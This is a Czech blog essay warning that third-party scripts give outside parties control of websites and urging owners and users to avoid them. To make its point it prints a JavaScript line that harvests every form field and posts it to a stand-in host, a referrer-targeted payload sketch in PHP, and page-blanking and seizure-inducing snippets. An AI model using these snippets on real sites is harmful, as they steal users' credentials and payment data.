xff.cz - mapa webu - novinky

Vzdálená injekce kódu byla kdysi bezpečnostní problém

Zamyšlení se nad využíváním skriptů třetích stran.

Krátký úvod v JavaScriptu

fetch('https://mothership.com', {method: 'POST',
  body: Array.from(document.querySelectorAll('input,textarea,select'))
    .map(e => e.name + '=' + e.value).join('\n')})

Tohle je vše co stačí k poslání čehokoliv, co právě zadáváte v okně prohlížeče, komukoliv na světě kdo je připraven naslouchat. Je jedno jestli to je heslo a uživatelské jméno, telefonní číslo, číslo platební karty, email, adresa bydliště, kolik a za co právě platíte, vaše niterné představy. Je jedno jestli jste to měli jen rozepsané a odeslání jste nepotvrdili. Je jedno jestli je spojení šifrované.

setInterval(() => { document.body.style.background =
  (Math.random() < 0.5) ? 'red' : 'white' }, 20);

Jestli jste konkrétní typ člověka, předchozí dva řádky vám můžou vyvolat záchvat.

JavaScript dává komukoliv, kdo ho dokáže do stránky doplnit, kontrolu nad vším v rámci konkrétního webu z pohledu uživatele.

Dobrovolný vektor průniku

Hackeři (spíše crackeři!) se hledáním způsobů jak chytře vložit trochu JavaScriptu do cizí stránky celkem úspěšně živí. Mnohé firmy jim rády zaplatí za objevenou „díru“ tisíce i desetitisíce korun a ještě poděkují. Velký paradox je, že se pak ta samá firma otočí na podpatku a na svůj web vloží jednotky až desítky tohoto:

<script src="//www.google-analytics.com/analytics.js"></script>
<script src="//ajax.googleapis.com/ajax/libs/jquery/X.Y.Z/jquery.min.js"></script>
<script src="//connect.facebook.net/cs_CZ/sdk.js"></script>
<script src="//www.googleadservices.com/pagead/conversion.js"></script>
<script src="//www.smartsuppchat.com/loader.js"></script>
<script src="//someweb.disqus.com/embed.js"></script>
<script src="//somecdn.tld/whatever-library.js"></script>
<script src="//adshit.tld/marketing-idea.js"></script>
...

Tzn. bez dohledu umožní třetím stranám vložit libovolný kód v JavaScriptu do své stránky. Tento kód pak může jménem uživatele vykonávat téměř libovolnou činnost.

Je jednoduché naservírovat jen vybraným uživatelům k regulérnímu kódu skriptů navíc nějaký nenápadný kousek útočného kódu:

header('Content-Type: application/javascript');
require "real-library.js";
if ($_SERVER['HTTP_REFERER'] == 'https://nejaky-eshop.cz')
  require "attack-payload.js";

Vše co adshit.tld musí udělat je vybrat si, koho chtějí zacílit a jaký selektor použijí. IP adresa? Cookie? URL stránky kam je skript vložen? Jméno uživatele? Libovolná informace na stránce samotné – třeba kolik zákazník platí za svojí objednávku, nebo kde bydlí? Triviální.

Polovina webu

Jen Googlu samotnému dala polovina vlastníků milionu nejnavštěvo­vanějších webů na internetu možnost se nechat vyřadit z provozu jedním řádkem v analytics.js a to není ani zdaleka jediný vektor k útoku, který se Googlu nabízí.

Stačí:

setInterval(() => document.body.innerHTML = '', 666);

A polovina z milionu nejnavštěvo­vanějších webů na internetu by přestala fungovat. Byl by to DoS nevídaných rozměrů.

Google to zřejmě záměrně neudělá… třeba jen omylem. Nezdá se však, že by se z toho omylu mnoho webů ponaučilo a servírovalo si od té doby jQuery z vlastní domény.

Je fascinující, že minimálně polovina nejnavštěvo­vanějších webů je ochotná vyměnit kontrolu nad svými stránkami za online analytiku a jiné pochybné výhody. A to je jen Google.

Čistě prakticky

Z praktického pohledu, vkládat na své stránky nějaký klíčový skript, bez kterého stránka nemůže fungovat z domény ovládané třetí stranou, má několik rizik.

A i když skript není klíčový:

Na určitých stránkách by skripty třetích stran být neměly vůbec. Pokud web obsahuje přihlašovací formulář pro uživatele, tak by žádná stránka na stejné doméně neměla mít skripty třetích stran. Je snadné exfiltrovat uložené přihlašovací údaje uživatele, či uživatele identifikovat pomocí jeho e-mailu i když není právě přihlášený.

Skript třetí strany si může vygenerovat na libovolné stránce falešný skrytý přihlašovací formulář a prohlížeč do něj vyplní přihlašovací údaje uživatele. Ty skript následně přečte a odešle kamkoliv.

Přihlašovací údaje by měly být jen mezi vámi a uživatelem. Jediný způsob jak to zaručit, je plně kontrolovat kód na celém webu a používat šifrované spojení. To je neslučitelné se skripty třetích stran.

Stránky, kam se zadávají platební údaje, aby nebylo možné údaje ukrást a zneužít. I když výjimky se najdou. Např. GoPay mělo (má?) na stránce zadání platby kód Google Analytics. Zda to tam mají i nadále nevím, po tom co jsem to zjistil se jim vyhýbám.

Co s tím?

Jste-li majitel stránek

Jste-li uživatel

Najděte si více informací o tom jak funguje online reklama (ad tech) a rozhodněte se zda chcete něco takového podporovat a do jaké míry.

Čím víc toho majitelům webů dovolíte, tím víc si budou dovolovat.

Můžete použít uMatrix či podobné rozšíření prohlížeče k blokování skriptů třetích stran globálně na všech stránkách. Tím si budete chránit své soukromí před firmami, se kterými nechcete mít nic společného. Není to stoprocentní, ale je to ve vaší moci, tak proč toho nevyužít.

Nepoužívejte stránky, které nefungují bez skriptů třetích stran. Pro majitele takových stránek „neexistuje­te,“ protože vás nevidí v online analytice (blokujete jí), takže pokud vám to u dané stránky stojí za to, musíte dát majiteli vědět co vám vadí přímo. Jináč ke všemu existují vždy lepší či horší alternativy.

Pokud jste technicky zvídaví, naučte se jak web funguje. Naučte se jiné způsoby konzumace obsahu, než jen webový prohlížeč. Naučte se psát user scripty a upravovat si, či doplňovat funkcionalitu do existujících webů. Naučte se extrahovat informace z HTML kódu, z JSON, z XML. Naučte se nějakou databázovou technologii a ty informace ukládat, zpracovávat a prezentovat alternativně, tak jak chcete vy. Nebo se naučte jak psát electron aplikace a vše výše uvedené dělat v reálném čase bez jakéhokoliv ukládání.

U webů, které konzumujete často to stojí za to.

Historie změn

15.7.2018 18:17První sestavení webu